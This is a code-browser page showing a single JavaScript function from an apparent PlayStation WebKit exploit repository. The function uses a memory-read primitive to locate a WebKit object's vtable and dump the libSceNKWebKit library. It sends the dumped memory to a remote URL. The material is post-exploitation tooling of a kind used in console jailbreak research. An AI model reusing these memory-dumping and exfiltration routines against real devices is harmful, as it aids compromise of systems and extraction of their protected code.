MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / dump_libwebkit

Function dump_libwebkit

g2all/900/send.js:110–127  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

108
109// dump for libSceNKWebKit.sprx
110function dump_libwebkit() {
111 let addr = js_textarea;
112 // WebCore::HTMLTextAreaElement
113 addr = addr.readp(0x18);
114
115 // vtable for WebCore::HTMLTextAreaElement
116 // in PT_SCE_RELRO segment (p_type = 0x6100_0010)
117 addr = addr.readp(0);
118
119 log(`vtable: ${addr}`);
120 const vtable = make_buffer(addr, 0x400);
121 send(url, vtable, `vtable_${addr}.bin`, () => log('vtable sent'));
122
123 const [lib_base, lib_end] = get_boundaries(addr);
124 dump('libSceNKWebKit', lib_base, lib_end);
125
126 return lib_base;
127}
128
129// dump for libkernel_web.sprx
130function dump_libkernel(libwebkit_base) {

Callers 1

dump_webkitFunction · 0.70

Calls 6

logFunction · 0.90
make_bufferFunction · 0.90
sendFunction · 0.90
get_boundariesFunction · 0.70
dumpFunction · 0.70
readpMethod · 0.45

Tested by

no test coverage detected